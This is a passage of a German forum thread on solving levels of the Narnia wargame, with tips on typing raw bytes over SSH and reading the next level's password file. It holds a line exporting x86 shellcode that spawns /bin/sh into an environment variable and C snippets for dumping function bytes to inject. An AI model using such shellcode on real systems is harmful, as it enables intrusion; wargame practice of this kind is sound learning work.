Zitat:
Original von Felixh
Das begernzt die maximale länge, die du eingeben kannst auf 24.
Nebenbei, per windows ist es mir unmöglich, das zeichen 0xbe einzugeben. gibt es da evtl. in Linux eine möglichkeit, dass als hex anzugeben? (habe mich schon öfters gefragt, wie ich z.B. ein leerzeichen in der konsole als agrument übergeben kann )
ich komm echt nicht weiter, weil SSH anscheinend nen anderen zeichensatz nutzt, und daher das 0xbe iwie nich reinbekomme...
|
ich hab mir den wert damit schnell gedumpt, weil ich hex immernoch net gelernt hab, wenn mein lehrer das ließt steinigt er mich...
Code:
DWORD Value = 0xdeadbeef;
for ( int i = 0; i < 4; i++ )printf ("%i\t",*(((BYTE*)&Value)+i)); dann über alt + num block zahl eingeben
Zitat:
Wenn du getan hast, was du in Level1 tun musst, bekommste eine Shell und hast die Rechte das Passwort für Level2 auszulesen: cat /home/level2/.passwd
Evtl solltest du etwas über Linux Permissions lesen (Suid bits etc).
|
erst grad gelesen, dankö ^^
//level2@narnia:/wargame$ export EGG=`perl -e 'print "\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80\xc9\xc3"'`
wird hier dann in EGG der hex code geschrieben oder auch das perl etc?
weil das getenv sollte dann ja nen buffer zurückgeben, also kriegt der funktionszeiger hier ja direkt den C String als Funktion, also wenn es nicht abstürzen soll müsst es ja theoretisch der hex code sein, oder?
--> Ein weg level 2 zu lösen: Funktion selbst schreiben ( auf ner linux box !!! ) und dumpen !
Code:
for ( int i = 0; i < 50; i++ )
printf ("%x - %i, ",*(((BYTE*)Function)+i),*(((BYTE*)Function)+i)); dann wie gewohn das ding mit alt + zahlen eintippen und bei mir hats geklappt ^.^